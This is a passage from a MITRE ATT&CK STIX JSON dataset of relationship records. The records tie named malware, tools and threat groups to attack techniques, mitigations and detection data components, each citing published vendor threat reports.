2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b37b128a-aefc-4b40-9d2a-c213d7b29b43","type":"relationship","created":"2020-02-14T13:35:33.221Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-14T13:35:33.221Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b37c1e66-774b-45ff-9c2a-b24ea9784963","type":"relationship","created":"2019-01-30T13:53:14.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-16T16:44:48.808Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) has a module to inject a PE binary into a remote process.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2020-03-21T00:15:05.232Z","description":"[POSHSPY](https://attack.mitre.org/software/S0150) encrypts C2 traffic with AES and RSA.(Citation: FireEye POSHSPY April 2017)","relationship_type":"uses","source_ref":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3831788-f18f-4315-997e-275e425c0d31","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-28T21:40:03.711Z","description":"[RemoteCMD](https://attack.mitre.org/software/S0166) copies a file over to the remote system before execution.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--4e6b9625-bbda-4d96-a652-b3bb45453f26","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3877b02-98e4-4c4a-8034-5af9f1e65c2c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:19.003Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) uses rundll32.exe in a Registry value added to establish persistence.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b38984a2-0761-4107-b61e-4d27cc22a2c0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2019-03-25T15:36:46.882Z","description":"(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"tool--c11ac61d-50f4-444f-85d8-6f006067f0de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b38a0fe4-6482-4c13-9def-5c8a82f31226","type":"relationship","created":"2021-09-28T20:02:51.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-28T20:43:43.837Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b38cfcfd-b8e3-4a9c-ade9-8a8bfeb04694","type":"relationship","created":"2017-05-31T21:33:27.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/living-off-the-land/","description":"Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.","source_name":"Dell TG-1314"}],"modified":"2019-03-25T17:01:21.310Z","description":"[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors used a victim's endpoint management platform, Altiris, for lateral movement.(Citation: Dell TG-1314)","relationship_type":"uses","source_ref":"intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3973baa-0185-45a1-934d-2b29f742a2df","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Invincea XTunnel","description":"Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.","url":"https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2020-03-21T00:40:57.475Z","description":"[XTunnel](https://attack.mitre.org/software/S0117) uses SSL/TLS and RC4 to encrypt traffic.(Citation: Invincea XTunnel)(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Playbook Dec 2017","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","url":"https://pan-unit42.github.io/playbook_viewer/"}],"modified":"2020-03-18T20:31:34.254Z","description":"[Helminth](https://attack.mitre.org/software/S0170) has checked the local administrators group.(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b398ed8d-5801-4cf0-bea2-c8b62c568bcd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","source_name":"PTSecurity Cobalt Dec 2016"},{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2020-03-17T00:38:52.332Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has used HTTPS for C2.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b39c536a-55f1-485a-8235-24acb39d0be6","created":"2019-01-31T01:39:56.558Z","x_mitre_version":"1.0","external_references":[{"source_name":"Impacket Tools","url":"https://www.secureauth.com/labs/open-source-tools/impacket","description":"SecureAuth. (n.d.). Retrieved January 15, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.(Citation: Impacket Tools)","modified":"2022-04-19T21:07:44.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3a191f3-59be-4457-ad5c-085ea0391bfe","type":"relationship","created":"2020-06-17T13:45:45.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft MS14-025","description":"Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.","url":"http://support.microsoft.com/kb/2962486"}],"modified":"2020-06-17T14:25:38.427Z","description":"Remove vulnerable Group Policy Preferences.(Citation: Microsoft MS14-025)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3a2df5e-af39-4129-a63c-7dee0e5986bb","created":"2023-09-14T18:58:23.135Z","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T18:58:23.135Z","description":"(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b3a53caa-e32b-4094-b8e7-f22cf7ccd548","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to the operating system of a network device because image downgrade may be used in conjunction with  [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file.","modified":"2022-04-20T01:41:17.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305","type":"relationship","created":"2017-05-31T21:33:27.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-dropping-elephant-actor/75328/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant – aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.","source_name":"Securelist Dropping Elephant"}],"modified":"2020-03-20T21:26:12.336Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.(Citation: Securelist Dropping Elephant)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3aa93e7-534f-4bd7-8df7-ed9dfa8ccccc","type":"relationship","created":"2020-05-14T22:29:26.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Sharpshooter December 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}],"modified":"2020-05-14T22:29:26.037Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can send data gathered from the infected machine via HTTP POST request to the C2.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3ac615e-8af1-4d96-a6c3-dfa0ac1bc0ac","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor for changes made to files that may modify or add LSASS drivers to obtain persistence on compromised systems.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3b21563-6835-4478-a882-64ce66d5591b","created":"2022-09-29T17:19:19.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CYBERCOM Iranian Intel Cyber January 2022","description":"Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.","url":"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T12:43:55.851Z","description":"[PowGoop](https://attack.mitre.org/software/S1046) can side-load `Goopdate.dll` into `GoogleUpdate.exe`.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)","relationship_type":"uses","source_ref":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3b6e98e-8d0f-4262-ae61-26c171bf20c6","type":"relationship","created":"2021-01-28T17:24:48.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."},{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:52.969Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can download and upload files to the victim's computer.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3bc70ea-4f9e-4933-81e7-eb8b19f89a3b","created":"2023-05-18T18:02:29.723Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-18T18:02:29.723Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) can discover logical drive information on compromised hosts.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3bcdaeb-e4d7-403d-902e-df55aa5b6bb9","type":"relationship","created":"2020-06-09T21:23:39.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.198Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has used pm.sh to download and install its main payload.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3bee3aa-2dd0-4268-8cfd-671ba779be1f","created":"2024-09-16T09:17:24.059Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:17:24.059Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) disguised [DUSTPAN](https://attack.mitre.org/software/S1158) as a legitimate Windows binary such as `w3wp.exe` or `conn.exe`.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3c3bcb2-3b6a-472f-b0b5-edd93c311d91","created":"2022-02-09T14:49:28.665Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Kimsuky Nov 2021","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"},{"source_name":"Proofpoint TA427 April 2024","description":"Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427’s Art of Information Gathering. Retrieved May 3, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-07T20:13:35.424Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used `ipconfig/all` and web beacons sent via email to gather network configuration information.(Citation: Talos Kimsuky Nov 2021)(Citation: Proofpoint TA427 April 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b3c50e22-4f4c-490c-9284-0af1c0543821","created":"2022-04-15T18:19:38.507Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661)'s loader can check for the [FoggyWeb](https://attack.mitre.org/software/S0661) backdoor .pri file on a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:35:44.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3c69087-f989-4f93-924a-0d6df6c75315","type":"relationship","created":"2019-01-30T18:58:04.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"}],"modified":"2019-04-22T19:48:08.910Z","description":"[Cannon](https://attack.mitre.org/software/S0351) can obtain victim drive information as well as a list of folders in C:\\Program Files.(Citation: Unit42 Cannon Nov 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3c7d447-9b00-4bd6-b0b7-25c0bb56d28a","type":"relationship","created":"2019-03-26T13:38:24.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","source_name":"SecureWorks WannaCry Analysis"}],"modified":"2019-04-22T11:43:33.396Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) will attempt to determine the local network segment it is a part of.(Citation: SecureWorks WannaCry 